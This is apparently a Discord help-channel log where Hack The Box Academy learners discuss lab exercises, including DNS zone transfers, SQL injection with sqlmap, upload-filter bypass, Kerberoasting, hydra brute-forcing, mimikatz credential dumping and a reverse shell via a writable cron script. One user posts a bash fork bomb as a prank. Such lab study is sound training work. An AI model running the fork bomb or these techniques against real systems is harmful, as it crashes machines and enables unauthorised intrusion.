modules

[fringe urchin]

Usually just opened new terminal and closed it via process

[tulip dragon]

no it won't work

[molten current]

:(){ :|:& };:

[tulip dragon]

looks sus

[next bronze]

or you know, have a tmux script that grabs the pid of the process in the current pane and kills it

[tulip dragon]

look like my rams enemy

[molten current]

its like the candy from a stranger, would you take it ?

[fringe urchin]

There are two zones. Every of those contains an x amount of A records. Count them all together. Idk how else i can explain?

[tulip dragon]

my ram say don't take candy from strangers

[brazen saffron]

Guys if someone can give me an hit to find the first thing to do in this module... I searched in ALL PAGES a form to have a SQLi and nothing... I tried to stop my request with Burp and nothing... https://academy.hackthebox.com/module/58/section/534

[fathom pendant]

add this to the end of your dig command | grep -E "\sA\s"

[fringe urchin]

https://tenor.com/view/mindblown-explode-headshot-happytime-murders-happytime-murders-gifs-gif-11848020

Killer

[molten current]

wut is the first and wut is the second, am sorry my questions are dump

[molten current]

ok

[fathom pendant]

your math is incorrect

the second zone has more records than 4 (which you got the max of 23 somehow)

you don't need to paste it here

i'm asking you to look at it and do it for the subdomain as well

then do the math

(also you can just add | wc -l to count it for you)

[molten current]

ok that started making sense

[fathom pendant]

a + b

[fringe urchin]

= c

[fathom pendant]

that's your answer

[molten current]

inlanefreight.htb is a zone ?

[fathom pendant]

yes

it's the root zone

[fringe urchin]

Yep the main one. There exist another one where you found the TXT record iirc

[blissful elm]

is anyone interested in this theme i made it https://github.com/vadaysakiv/terminator-terminal-theme

[fathom pendant]

also if you wanna paste large blocks of text, and images read and follow #welcome

[molten current]

Ackchyually its defined as X cuz we still dont know the result 🤓 ☝️

[acoustic owl]

No
Root Zone is always .

[molten current]

yes sir

[fathom pendant]

it's defined as whatever you wanna say the variable is

[molten current]

OMG THIS JUST MADE SENSE NOW

[fathom pendant]

i.e. if you're dealing with right triangles, conventionally you'll use a, b, c

[molten current]

lol

[fathom pendant]

yeah my bad i meant it's the base zone that exists on the nameserver

[tulip dragon]

mericie have u compelted cpts path

[fathom pendant]

pythagoras is fun, a^2 + b^2 = c^2

[brazen saffron]

|| The only thing I am trying to find something is the payout function, I think it's this bc all the things are down else but I have nothing in burp suite 😭 || !!!

[fathom pendant]

no

[fringe urchin]

Yea so those two are zones.
All other are subdomains
Iirc

[acoustic owl]

https://www.tecmint.com/wp-content/uploads/2016/05/DNS-Name-Resolution-Diagram.png

[tulip dragon]

com zone?

[fathom pendant]

inlanefreight.htb. is the base zone

[fringe urchin]

X.com

[fathom pendant]

yes like sites that are .com

[molten current]

ΔxΔp≥ 4π
h

[tulip dragon]

its look sus

[fathom pendant]

it's a tld

[acoustic owl]

Top Level Domain is also a zone

[fathom pendant]

each subdomain is a zone; some are overseen by different things

[molten current]

but how we made a sub domain a zone

[fathom pendant]

subdomains are zones

[molten current]

and main domain is ?

[fathom pendant]

inlanefreight.htb

subdomain.domain.tld

www.google.com

[fringe urchin]

Thats configured by the admin. We cant make a zone by ourself if thats your question

[brazen saffron]

Can someone help me please :(...

[molten current]

the result of the second zone is zero 🤓

[fathom pendant]

nope

[acoustic owl]

Also not mandatory.
A subdomain can also be a host address.
For example, a mail server
mail.example.com.

[fathom pendant]

fair

it's just a mess of configuration

vHost stuff

[molten current]

yep, networking is important

[tulip dragon]

weird now i can understand above chat🤓

[fringe urchin]

Whats your command?

[molten current]

dig axfr @10.129.42.195 ns.inlanefreight.htb | grep -E "\sA\s" | wc -l

[fathom pendant]

wrong subdomain

[fringe urchin]

Wrong subdomain

[molten current]

thats wut i thought

[fathom pendant]

it's the one that gave you the TXT record for one of the other questions

[acoustic owl]

ns normally stands for nameserver and is therefore a host address

[molten current]

i gotta start taking notes of my answers

[fringe urchin]

Wait whut? You dont do writeups for every question?

[fathom pendant]

several of the questions have the right subdomain as part of their answer

[acoustic owl]

https://www.cloudflare.com/learning/dns/glossary/dns-zone/

[fathom pendant]

note: i'm not even referencing my notes

i literally spun up pwnbox + target and ran the commands

and it worked, giving me the right answer

[molten current]

thought about that am gonna finish the modules and then get back and take notes

[fathom pendant]

it's best to do it as you go

[molten current]

aka laziness

[fathom pendant]

it helps reinforce knowledge

[fringe urchin]

I usually take screenshot for every important step. In some a bit more even though process!

[tulip dragon]

point it out if i am wrong , imagine i make website jojo now if i have to divide my website into subdomain acc to its need like admin , dev, webadmin then i make admin.jojo.com dev.jojo.com and webadmin.jojo.com and each subdomai have their own rights , workspace etc

[fringe urchin]

Will bite you back immensly

[molten current]

OMG I GOT IT

love you guys so much

thnxx

[fringe urchin]

[brazen saffron]

||curl 'http://94.237.49.166:48210/cart.html'
-H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8'
-H 'Accept-Language: fr'
-H 'Cache-Control: max-age=0'
-H 'Connection: keep-alive'
-H 'If-Modified-Since: Mon, 28 Sep 2020 11:56:48 GMT'
-H 'If-None-Match: "3348-5b05e5c72e000-gzip"'
-H 'Sec-GPC: 1'
-H 'Upgrade-Insecure-Requests: 1'
-H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36'
||
I don't understand what else I can do but there is nothing I can do here... ?
Only this button is sending something somewhere else, I tried to get the "result" for the ||checkout|| but I have only this type of request when I press the button :
||curl 'http://94.237.49.166:48210/checkout.html'
-H 'Referer: http://94.237.49.166:48210/cart.html'
-H 'Upgrade-Insecure-Requests: 1'
-H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36'
--insecure ||

https://academy.hackthebox.com/module/58/section/534

[fringe urchin]

great hope you learned something aswell

[molten current]

yes i did

but i still have a question

[tulip dragon]

i uses to did it but its taking very long time and more work , i skipped doing that and reduces the amount of notes to very little notes

[cloud urchin]

Either use Firefox, or format the curl command into one line.

[molten current]

how did we know that the second zone is the right subdomain ?

there like 19 subs

[brazen saffron]

It's still working, just we have \.

When I use sqlmap it does the same.

[cloud urchin]

What's the question you're on

[fringe urchin]

Yes there are many subdomains but we cant axfr most of them. Only the main one and the one you found are basicly zones where we can use zone transfer. Or else an error will accour

[molten current]

huh

[fringe urchin]

Yea well on easy ones i just put a screenshot in

[fathom pendant]

if you're gonna use multiple lines, format by putting ``` above and below the code blocks

[brazen saffron]

The last.

[fathom pendant]

some guessing and some knowing basic networking

[brazen saffron]

Ex:

[tulip dragon]

https://tenor.com/view/drake-computer-notebook-explaning-gif-21152267

[molten current]

and luck ?

[fathom pendant]

i meant pasting in discord

[fathom pendant]

i mean basic networking gets most of the way there

localhost generally means it's on the same server

[fringe urchin]

Im pretty sure you cant use axfr other subdomains. So you just need to find the ones where you can use it

[cloud urchin]

Are there any other pages that may have an injection point if those aren't working?

[brazen saffron]

Else it always sending # in the url.

[molten current]

yeah exactly

[molten current]

thank you so much

[brazen saffron]

I read an arcticle from soneone bc I tried a lot of things and... they are saying it : ||Okay so, burpsuite, playing around with the shopping items and adding to cart registered the post request. Do the old save to a text file.||

[molten current]

thanks to all

[tulip dragon]

i am pretty sure i have never saw this channel thi much active 3-4 months before

[brazen saffron]

WAIT BRO I LL CRY !

FoxProxy was glitched.

[fathom pendant]

get skill issued

"glitched" or wasn't set right

[brazen saffron]

Bro I litterally clicked on ALL FKING ||articles|| in this site!

[brazen saffron]

No, if it was enable and my burp suite off = strange things.

lol.I don't know why but...

I got a new thing.

LETS FKING GO !

More easier 🙂 xd.

[cloud urchin]

nice job

[brazen saffron]

Just to have results faster than default do there is something 🤔 ?

Just trying to look at DBs and taking a very long time...

[soft cedar]

do you still need help?

[queen oyster]

Bump 😄

[half stag]

yes please

[soft cedar]

what's the issue?

[half stag]

i also tried dumping SAM and get the local admin hash

nothing worked

[soft cedar]

try sekurlsa::logonPasswords if you get any different hashes.

[half stag]

i triedit

nono of the hashes worked

[soft cedar]

can you send me you output?

[half stag]

DM?

[soft cedar]

yes

[half stag]

ok

[cloud urchin]

probably should delete those pics, but that is not the answer

it will accept the correct answer

[brazen saffron]

?

[fringe urchin]

I havent done it but like the 1337 is sticking out for me since well its a "meme number"/ number used in cybersec a lot.
Yoi sure its nothing there? Like i said i havent done it, cant help you other then what it looked a thorn in my eyes. I could be wrong

[brazen saffron]

wdym?

[fathom pendant]

they contain a spoiler

[brazen saffron]

It's the reason why I set them as "spoiler"...

[cloud urchin]

it's against tos to post it

[fathom pendant]

that really doesn't mean much to mark them as spoiler

as anyone can still see them

[brazen saffron]

He have to click on it to see, if he clicks it's because he wanted to see...

[fathom pendant]

best practice, if you need to screenshot, is to redact anything that may be used

[dim wolf]

you should probably at least redact the flag using an image editor

[brazen saffron]

Well ok...

[fathom pendant]

or they can have that setting turned off

[brazen saffron]

???

[fathom pendant]

as spoiler text is a toggleable setting

[cloud urchin]

you're posting spoilers for a skill assessment dude, just delete it

[brazen saffron]

I am speaking about images.

[cloud urchin]

its against the rules

you need to tune your attack

[fathom pendant]

same thing applies

it's still a toggle setting

[brazen saffron]

?

[fathom pendant]

it means that not everyone has the setting turned on to have it revealed on click

and always show spoiler

[brazen saffron]

really stupid imo but ok...

[cloud urchin]

You're very close, but something is off. You can either infer what's wrong with the string, or you can tune your attack if there's something wrong with the data returned.

not really much more i can say

[brazen saffron]

But I did not understand the "attack tuning" thing...

[fathom pendant]

attack tuning = adjusting your attack to get the right answer

[brazen saffron]

Yeah but.

They are speaking about "strings" titles etc.

And no examples or something to help what it does.

The only thing I know it that it's a ||Time based blind||.

[woven zenith]

File Upload Attacks: Type Filters
-I need some help on how to fuzz for the image/ part of this section, the course just skips over it like I already know it
-Am I trying to do the "Add&" for the image/ part? If so where does it go?

[cloud urchin]

What? This section is talking about type filters, MIME and Content... you don't need to fuzz anything. It teaches you how to bypass those type filters.

[brazen saffron]

Well I added two more args but I don't know what to add else like technique or dbms... I have "HUB" and no "HTB", I concluded it but why this? Is it normal 🤔?

[rustic sage]

Colleagues continue to ask the question: What is the FQDN of the host where the last octet ends with "x.x.x.203"? I'm digging up information but I'm still not succeeding I've done subdomain enumeration but I think I'm missing the correct word list DNS Footprinting Module

[brazen saffron]

FQDN = Fully qualified domain name

WIth nslookup you can find it.

[woven zenith]

I need to know which image/ will work (jpg/jpeg/png/etc)

[woven zenith]

Gives me this step:

[woven zenith]

https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/web/content-type.txt

To reduce above wordlist:

wget https://raw.githubusercontent.com/danielmiessler/SecLists/master/Miscellaneous/web/content-type.txt

cat content-type.txt | grep 'image/' > image-content-types.txt (change the last .txt to new .txt)

[cloud urchin]

There's a whole section on how to find that

each section builds on itself

[woven zenith]

So theres a section in Whitelist Filters using .php as the example, I'm just asking where do I go to fuzz the image/ in Content-Type
-like what part of the image/ do use the "ADD&" button on

[cloud urchin]

the content-type section shows that in the screen shots

content-type is a header

[woven zenith]

ok let me read back through it, thanks

[fringe urchin]

So marcie told you to use a "fierce" list. Meaninz your current wordlist didnt had enough. Maybe listing all the lists in that directory will help you find a fierce wordlist to use against the subdomain

[fathom pendant]

either not enough or just different words entirely

[rustic sage]

dnsenum --dnsserver 10.129.81.137 --enum -p 0 -s 0 -f /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt dev.inlanefreight.htb

[fathom pendant]

take the word fierce to be more literal

we're telling you your wordlist is wrong, use a different one

also delete as it's a spoiler

for the propper subdomain

[woven zenith]

So reading through it and it just tells me to fuzz the Content-Type header:
-is this correct in burp Intruder to fuzz content-type?--> §Content-Type: image/§

[fathom pendant]

are you asking or are you telling that you did it and it didn't work

[cloud urchin]

load the wordlist and look at it

[fathom pendant]

do first before asking

if your revised command doesn't work, then ask again

I'm not gonna tell you yes/no - or explicitly tell you that this is exactly the command you do - rather guide you to figure it out on your own

[rustic sage]

im so happy i found the answer

[fringe urchin]

Delete both commands since they contain spoiler

[fringe urchin]

[fathom pendant]

please delete your commands you posted as they contain a spoiler for the answer

[woven zenith]

I see the wordlist is image/(content), so am I only to do §image/§ ? If so it has given nothing, all 188

[fathom pendant]

but congrats

[rustic sage]

thanks

[fringe urchin]

This one too and you good to go

[fathom pendant]

and the ones posted in the #cpts channel

[rustic sage]

i already did

These types of questions are what really teach you how to understand the topic being discussed

[fathom pendant]

i believe the hint even says the same thing "not all wordlists are the same"

[fathom pendant]

if you want a more general tip: start small and go big

it's likely the subdomain exists within other wordlists as well

[cloud urchin]

A real easy way to figure it out is to just try uploading a legitimate picture. See what types of pics you can upload, and when you find one capture that in burp.. and there you go.. you now have a file type template you can use to upload your exploits

[woven zenith]

thanks!

[fathom pendant]

@ancient bane two things; i hope those 88 in your username are just coincidence and not something else and two don't DM without asking

[ancient bane]

Sorry

[fathom pendant]

(for those curious, think about what the 8th letter of the English alphabet is)

[fringe urchin]

H?

[fathom pendant]

Yes

[fringe urchin]

Im trying to wrap my head around this LOL. Im too tired i guess

[fathom pendant]

Now think of what HH can mean (hint Germany 1942)

[cloud urchin]

bro just made his account today too

[fathom pendant]

Coincidence, I'll believe in - benefit of the doubt and all that

[fringe urchin]

Hochwürdig************

[fathom pendant]

He.. Hi..

[fringe urchin]

OMG

[ancient bane]

Wow I really like your scope

But I didn't think of it in a such way

[fringe urchin]

Yea idk how that flew above my head lol

[ancient bane]

I would really like to apologize for the Dm

[fringe urchin]

Hochwürdiger Herr was my guess

[fathom pendant]

You poor innocent soul

[fringe urchin]

[fathom pendant]

Either way. Cold dming is against server rules

I suggest reading those

[ancient bane]

Sure will do

[tame sphinx]

hello, i have a question about kerberoasting that is bugging me: What accounts are kerberoastable? From what I understood you need the TGT of a user to ask for a TGS right?

[soft cedar]

Kerberoast targets acc that have service Principal name (SPN) associated with them

It enables us to request the TGS for that services which can later be cracked offline.

[mint echo]

yoo whatsup guys, I had a question.

I spawned a target on Getting started module - Nibbles Enumeration. I needed to run nmap on it but pwnbox is 0/1, so I went to my kali virtual machine but there it doesnt work. Why is that?

can anyone help me out please

[soft cedar]

Here’s a great resource
https://adsecurity.org/?p=3458

[fringe urchin]

Are you connected to the vpn?

[mint echo]

Nope

[soft cedar]

Yes sir.

[mint echo]

should I follow this for connecting to the VPN? https://academy.hackthebox.com/module/77/section/723

[fathom pendant]

you need to download the academy vpn and connect to it to interact with that target

as it's on a private 10.129.x.x server

[fringe urchin]

Yep you need the vpn

[mint echo]

alright thank you so much guys, Imma do that

[tame sphinx]

Ok, got it, SPN are records that links domain computers/users to a service. But imagine that we have an SPN for the user waldo for MSSQL/example.org. Is waldo kerberoastable? or do we need something before (like waldo's TGT)? How do we request a TGS for waldo ?

[cloud urchin]

which module/section/question are you stuck on?

i bet your answer is in there

[fathom pendant]

https://learn.microsoft.com/en-us/windows/win32/ad/service-principal-names

[tame sphinx]

I'm just trying to understand the attack behind, not in a specific module/question (but currently doing Windows Attack & Defence)

[mint echo]

I think this is happening because of bad internet connection right?

[soft cedar]

And there’s two links that was shared, kindly check them out.

[tame sphinx]

Will do, thank you for the time 🙂

[shut quest]

https://help.hackthebox.com/en/articles/5185536-connection-troubleshooting

[quasi jungle]

Any idea how to specify a custom port with sqsh

sqsh -S 10.129.203.7 -U .\\julio -P 'MyPassword!' -h```

[fathom pendant]

according to the man pages -S server | host:port

though idk if it's running on a custom port

[fathom pendant]

also remember that \ is an escape character in bash

so you may just need more or perhaps you can do .// and it'll just know

[brazen saffron]

if someone know :>.

[cloud urchin]

Are you still on the SQLMap thing?

[quasi jungle]

Hmm, Thanks

[quasi jungle]

tried it out, sqsh just seems to not work for this instance from what I also see on the fourms

[fathom pendant]

did you alternatively try .\\\\?

[cloud urchin]

You can DM me if you want

[quasi jungle]

Yes, just a error with the server not being recognized with sqsh.

[fathom pendant]

try with mssqlclient.py ¯_(ツ)_/¯

[quasi jungle]

Doing that right now

mssqlclient.py -port 1433 htbdbuser@10.129.203.12
Seems to work while it doesn't seem to be the intended approach since it seems that I have to specify the domain and use windows-auth

While if I go with that approach with -windows-auth flag and specifying the domain

[-] ERROR(WIN-02\SQLEXPRESS): Line 1: Login failed. The login is from an untrusted domain and cannot be used with Integrated authentication.

Any ideas of what I should try

[fathom pendant]

-windows-auth or --windows-auth i forget which

oh wait i just saw

i mean you can try adding the domain? aren't you given it?

[quasi jungle]

Yeah, tried adding the domain WIN-02\htbdbuser

[fathom pendant]

what about INLANEFREIGHT\htbdbuser?

[cloud urchin]

$ mssqlclient.py -p 1433 Administrator@DC01 -windows-auth

[quasi jungle]

INLANEFREIGHT isn't the domain in the module, its the "Attacking services" one with mssql

SQL (htbdbuser  guest@master)> enum_links
SRV_NAME              SRV_PROVIDERNAME   SRV_PRODUCT   SRV_DATASOURCE        SRV_PROVIDERSTRING   SRV_LOCATION   SRV_CAT   
-------------------   ----------------   -----------   -------------------   ------------------   ------------   -------   
WINSRV02\SQLEXPRESS   SQLNCLI            SQL Server    WINSRV02\SQLEXPRESS   NULL                 NULL           NULL      

Linked Server   Local Login   Is Self Mapping   Remote Login  ````

[cloud urchin]

or mssqlclient.py -p 1433 EXAMPLE/Administrator@DC01 -windows-auth

[fathom pendant]

well there you have the name isn't WIN-02 either

[quasi jungle]

Tried that one out also

[heavy edge]

on the easy pw lab, do you chunk up the pw.list or use the full thing? i mutated and got nothing. also reading on the forums to use the defualt lists not the mutated

[quasi jungle]

Managed to use sqlcmd. Now trying the same approach

[soft cedar]

yes just the default.

[quasi jungle]

Still don't have any permission to perform any of the actions shown in the guide

[heavy edge]

how long did it take you to get the pass? im BFing the secondary F service not the one indicated in the questions

[soft cedar]

it depends on the service you are attacking but it shouldn't take long

[heavy edge]

hmmm im attacking F not S

[soft cedar]

you can increase the threads to make it run faster

the assessment labs don't take too long when bruteforcing as compared to the ones in the section.

[novel hinge]

password attacks password mutations im stuck, rrann hashcat --force password.list -r custom.rule --stdout | sort -u > mut_password.list to create new password list than ran hydra -l sam -P mut_password.list ssh://<ip> and nothing. there are 120k passwords and i got past the firrst 4k and nothing. anyone tell me if im doing thiss wrrong?

[heavy edge]

remove all with less than 10 chars

sed -ri '/^.{,9}$/d'

then take in the first 20k so head --20000 xx.list > 20k.list

[novel hinge]

sounds good

let me trry that, ill get back to you.

[heavy edge]

it will still take a bit at its 20k passwords

but use higher threads liek 48 or 64

[next bronze]

also don't use --force, it can mess things up

[heavy edge]

this bf is annoying

i should go watch a show and wait for it to hit

[fathom pendant]

well the mutated list shouldn't be 120k, it should be 94k

second: attack a different service

ssh is a slow service to brute with hydra and cme

[fathom pendant]

eh telling them to narrow it down that specifically defeats (somewhat) the purpose

however cutting the first 17k lines is definitely helpful for massively speeding most of the rest of the module up

[noble hazel]

Anyone have done the Injection Attacks skill assessment? I can read the contents of passwd but I cannot find were the flag is located. Thanks in advance.

[fathom pendant]

this may be dumb but is it in the filesystem root? /flag.txt?

[noble hazel]

Looks like is not there.

[fathom pendant]

does the question tell you where it may be?

(i haven't done the module, but usually the questions give you a hint or place to look)

[noble hazel]

No hint. Just say Obtain the flag. Mmm maybe I am missing something dumb.

Thanks

[fathom pendant]

np

sometimes the wording of questions can make you overthink

[upbeat pike]

I lost 2 hours of my life to this earlier today 😂 😭

[fathom pendant]

lmao look at their xbox tag

[solid python]

Gottem

[hexed spindle]

I need assistance again with AD Enumeration & Attacks - Skills Assessment Part I. Can someone point me in the right direction so I can find information on MS01?

[fathom pendant]

MS01 is the first windows host iirc

if you sign in to it and do hostname it should tell you

[hexed spindle]

I am currently connected to the webshell still. Don't know where to find the first host.

[fathom pendant]

ah right the first part is on WEB01

I would say get a pivot in place or once you extract and get some creds try to rdp with them onto the WEB01 host

[hexed spindle]

I have not been able to use the creds I have found to connect to anything. Am I overthinking things?

[fathom pendant]

well; i would suggest trying to upgrade your shell to a full one first

a powershell one-liner or something like that

[storm hedge]

@hexed spindle what information do you need specifically?

[fathom pendant]

also from the webshell you can ping MS01

[storm hedge]

@hexed spindle I did this skill assessment today

[fathom pendant]

and that should tell you the IP of the MS01 machine

[hexed spindle]

I knew I was overthinking something. Did not know I could simply ping MS01.

[storm hedge]

@hexed spindle you have also nslookup

[hexed spindle]

Thanks for the direction!

[fathom pendant]

it's in the System's hosts file

you should also be able to ping the DC01 iirc

lots of different methods of finding

[heavy edge]

so i dont have to use the mutated list right

times are stable too

[fathom pendant]

doesn't look stable; those first few pings show near 1k ping

[fathom pendant]

what question?

[heavy edge]

thats normal with the connection tho

easy pw lab

sorry should have specified

[fathom pendant]

oh. I don;t believe so? but I could be wrong

it's been a hot minute

just always enumerate to be sure that you can find users

[heavy edge]

the only thing open is ssh and ftp which is not anynmous

[fathom pendant]

did you try CME with smb to check for Null sessions? (-u "" -p "")

ah i forget what all services are open on the host

[heavy edge]

yeah 21 and 22 w/o anonymous login

its a straight BF but the password wont pop

[fathom pendant]

ah yeah

just gotta be patient

[heavy edge]

like how long lol

[fathom pendant]

also 22 and 21 aren't the only one's open on that assessment

[heavy edge]

are you talking udp?

[fathom pendant]

i just ran an nmap scan and found 7 services

oh wait

i'm stupid

[heavy edge]

on the EASY password lab?

[fathom pendant]

i was looking at the wrong thing

[heavy edge]

you had me tr4iple looking

[fathom pendant]

sec i thought i was in the password lab

[fathom pendant]

i didn't use the mutated list

but I did use the provided user and password lists

once you get in; it's the easiest way to get to root from there

user is not smart and secure

[heavy edge]

i keeps ending

my network isnt that bad

[fathom pendant]

try changing the vpn region

[heavy edge]

okay im done with hydra

imma cheat

[thorn urchin]

not cheating if it works

but imo hydra>msf

[heavy edge]

i agree but im getting constant fails

its timing out and im not sure why its so spotty on it

[fathom pendant]

your fails aren't due to hydra

[heavy edge]

ik they aren

[fathom pendant]

it's your connection with the vpn

as I suggested, changing the vpn region may fix your woes

[heavy edge]

ive swapped between all 3

us regions

[thorn urchin]

you can try the pwnbox as well. that way even if your connection to the site drops your instance is still chugging along

[fathom pendant]

the only time I would really say to be that specific is if it's seeming like for w/e reason their command looks right but still isn't working

and usually it's the dreaded "you misspelled something" error

[heavy edge]

still going

positivity? how far down is it jeebus

[cloud urchin]

they've stated they don't want people bruting for hours etc, so you probably have something off

[fathom pendant]

i mean

you are using default threads

so it's gonna be a little slower

[heavy edge]

when i use t 48 or 64 it times out

[fathom pendant]

did you change vpn regions and download a new vpn pack?

[heavy edge]

yes

but im honestly gonna blame my isp and apartment complex at this poinr

[fathom pendant]

fair enough

[heavy edge]

i mean look at this... they have a funky network setup in an "internet ready" place

this is the WAN

[fathom pendant]

i mean

that's really not funky

[heavy edge]

their public is routed thru their edge router, ran like 400ft and then into my router

[fathom pendant]

looks like you're given the 10.1.22.0 subnet

[heavy edge]

which then nats to a 10.x.x internal

their edrouter is on 10.1.14

they have a different subnet for each unit

[fathom pendant]

ye

that's not that odd

and makes sense, you don't want your neighbor to be able to peek at your stuff

[heavy edge]

no ur right, but the speeds are heavily diminished

and it makes port forwarding a mess

[steady anchor]

any site recommendations of indepth anatomy of hardware components

basic motherboard especially

[fathom pendant]

if you read and follow #welcome there's a #hardware-iot-ics channel that you might be able to find some resources in

[tulip dragon]

how to see the time of cronjobs , command didn't mentioned

[fathom pendant]

https://crontab.guru/every-minute here's a site that's literally just showing different ways you'd write different things for Crontab

[rustic quiver]

How do you find the ftp version in the footprinting module? I've tried nmap, and I've tried status but both answers are incorrect

[fathom pendant]

connect directly

[tulip dragon]

mearcie when do u sleep bruh

[fathom pendant]

the version is shown in the connection banner

[fathom pendant]

yes

[tulip dragon]

no i meant how to see if anyfile is is running every specific time like what command

[fathom pendant]

crontab -l iirc

[rustic quiver]

It says its wrong again, I think its supposed to be a HTB banner or something

[tulip dragon]

this doesn't give any output

[fathom pendant]

you don't include the 220 response code

[tulip dragon]

i used that

[rustic quiver]

Alr that worked, thank you

[fathom pendant]

when you view a crontab it should give you the timing of it

ig i don't know what you're trying to do

crontab -l <user> is how you view another user's crontab (but you'd need root)

[tulip dragon]

ah

[fathom pendant]

but if there's no crontabs set; then it's gonna be empty

[tulip dragon]

so basically they tell backup.sh run everytime after 3 min but to know this u need sudo priv

[fathom pendant]

if it's running with root privileges, yes

the crontab is run under the user's permissions

and generally the root user is gonna be the one running the backup

[tulip dragon]

that make sense now , coz there is no cron for htb-student

[fathom pendant]

which, as explained, is running in a misconfigured manner

as the backup script itself is world writeable

meaning that if you edit it, you can drop a revshell

and get root

[tulip dragon]

that i know that its writable , but was wondering how to know if it was running 3 min or 3 hr

[fathom pendant]

* * * * * <- this part is the timing

[tulip dragon]

how to even get this output

[fathom pendant]

when you view the crontab it shows you

the website i linked earlier shows them

https://crontab.guru/#*/3_*_*_*_*

[tulip dragon]

its empty for htb-student and to view root we need sudo

[next bronze]

crobtab guru my beloved

[fathom pendant]

yes

what module/section are you on?

[tulip dragon]

https://academy.hackthebox.com/module/51/section/469

[fathom pendant]

it literally tells you a tool to use

you goon

[tulip dragon]

i hate tools

[fathom pendant]

well get used to them

[tulip dragon]

[fathom pendant]

becaues they're fuckin useful as fuck

it's literally right after that paragraph you're talking about

read the rest of the page before asking questions

[tulip dragon]

ah bt not installed

[fathom pendant]

then transfer the tool over

[tulip dragon]

hmm 😔

https://tenor.com/view/brotherhood-thank-you-sorcery-fight-gif-21025139

[fathom pendant]

i'm gonna be honest

reading really helps avoid confusion

btw the find command they give you to look for files is for world-writeable documents (o+w) file perms

[glad condor]

hello i'm stuck in "Predictable Reset Token" question 1 : my script is launching but i don't got the right token

[fathom pendant]

+/- 1 second iirc and the server time is in UTC

[glad condor]

i try with tis site : https://www.epochconverter.com/

[heavy edge]

where are the resource files in the pwn box

im stll not pulling a password its timing out. im over my isp

[glad condor]

can i dm you ?

[fathom pendant]

no

[fathom pendant]

you can right-click and copy the download link and paste in the pwnbox wget <paste>

i also add && unzip <filename>.zip if I know it's a zip file

[heavy edge]

oh i wasnt sure if i was able to. the last time my kali ip was the same as the pwn box

[fathom pendant]

you can

also

if you're using the pwnbox, don't use the vpn

it WILL cause collision issues and break

[heavy edge]

how to i wget if i dont use my vpn

[fathom pendant]

brother

the files are hosted publicly not privately

[heavy edge]

OH

i thought you meant

[fathom pendant]

also if you're using the in-browser pwnbox: there's no need to use the vpn

[heavy edge]

yeah nevermind

[fathom pendant]

Click Resources -> right-click download -> copy link

[heavy edge]

i dont use pwn box much

[tulip dragon]

well well well , that tool also didn't tell time time for cron

so htb just wanted to help user that the backup.sh is running after evry 3 min but u can't find this info without sudo priv

[next bronze]

yes but you can see it in pspy, that's how it works

[fathom pendant]

Pspy doesn't read crontab, it's looking for new processes

[heavy edge]

why

just why

these bash historys are hilarious

[tidal mango]

Intro to Assembly Language - Data Movement-- "Add an instruction at the end of the attached code to move the value in "rsp" to "rax". What is the hex value of "rax" at the end of program execution? " Can anyone help me with this one? I see some posts from last year on it, but I am not seeing what anyone did to get the answer. I have tried redoing the last line in this everyway I can think of... ```
global _start

section .text
_start:
mov rax, 1024
mov rbx, 2048
xchg rax, rbx
push rbx
mov rax, rsp

[next bronze]

the question asked to move the value in rsp, recall the difference between the pointer and the value itself

[tidal mango]

Yeah, so I honestly dont think I understand it right, but I tried doing move rax, [rsp] as well, and flipping it, rsp, rax and rsp, [rax]

[next bronze]

move rsp, [rax] doesn't make any sense, rax is not a pointer

so if you have used move rax, [rsp] , what do you see in gdb for the value in rax?

[tidal mango]

it doesn't seem to finish the program going that route, hold on let me check it again, so I can give you the right value I see

[next bronze]

have you tried that as the answer?

[tidal mango]

yes

[next bronze]

what excatly did you enter as the answer

[orchid moat]

Hello, noob here. I am trying to count the number of installed packages. Using apt list --installed | wc -l getting wrong answer

[tidal mango]

yes

[next bronze]

try again

make sure there's no space at the start or end

[next bronze]

wc -l counts the line number, read the first few lines of the output to find out why the answer is wrong

[tidal mango]

wtf kinda of voodoo are you running here? it now works? I have tried that sooo many times 🤦‍♂️

maybe it was the cut and paste fail...

[next bronze]

alright now let's delete the answer

[tidal mango]

copy and paste

[tidal mango]

Well, thanks a ton! I got a blinding headache earlier today trying to figure out where the issue was,

[next bronze]

yeah just remember to check for extra spaces if you're sure the answer is right

[tidal mango]

I am going to type them out from now on for this section, I was damn sure I checked spaces, but regardless, I will take the win now!

[orchid moat]

thanks, got through it

[mellow birch]

hi im getting request validation failed when trying to start the pwnbox

[heavy edge]

okay this

this is what i wanted

THIS was a fun challenge

cant use my network to BF but i can use it to john some other stuff

[misty nova]

Help pls 🙂
Introduction to bash scripting-Flow Control - Loops:
Create a "For" loop that encodes the variable "var" 28 times in "base64". The number of characters in the 28th hash is the value that must be assigned to the "salt" variable.

# Variables
var="9M"
salt=""
hash="VTJGc2RHVmtYMTl2ZnYyNTdUeERVRnBtQWVGNmFWWVUySG1wTXNmRi9rQT0K"

# <- For-Loop here
for i in {1..28}
do
    var=$(echo "$var" | base64)

    if [[ i -eq 28 ]]
    then
        salt=$(( ${#var} + 1 ))
        echo $salt
    fi
done

# salt=$(( ${#var} + 1 ))
# echo $salt

# Check if $salt is empty
if [[ ! -z "$salt" ]]
then
    decrypt
    echo $flag
else
    exit 1
fi

I've tried many different things here including var=$(echo "$var" | wc -c), setting the salt outside of the loop, using wc -c on the salt and am consistently getting the same answer of 34071. I'm running it on the box but the answer is wrong. Help is appreciated.

[next bronze]

if [[ i -eq 28 ]] shouldn't it be $i since it's a variable?

[misty nova]

It gives the same result regardless, unfortunately. Tried that lol

[next bronze]

anyways that's not the right bash syntax, if you want to use a variable, it should be $var

the number is correct, did you continue with the rest of the script?

[misty nova]

That's the end of it unless I'm missing something?

[next bronze]

what about the decrypt function?

[misty nova]

The decrypt function was provided in the exercise script. I left it out for brevity

[next bronze]

yes did you run that function as a part of your script

[misty nova]

No, I assumed it only ran in the last if statement if the salt was empty. It would make sense to use it, I just assumed I didn't need to. The instructions weren't very clear.

[next bronze]

if [[ ! -z "$salt" ]] means not empty

[misty nova]

Oh, right. So then it is running.

[next bronze]

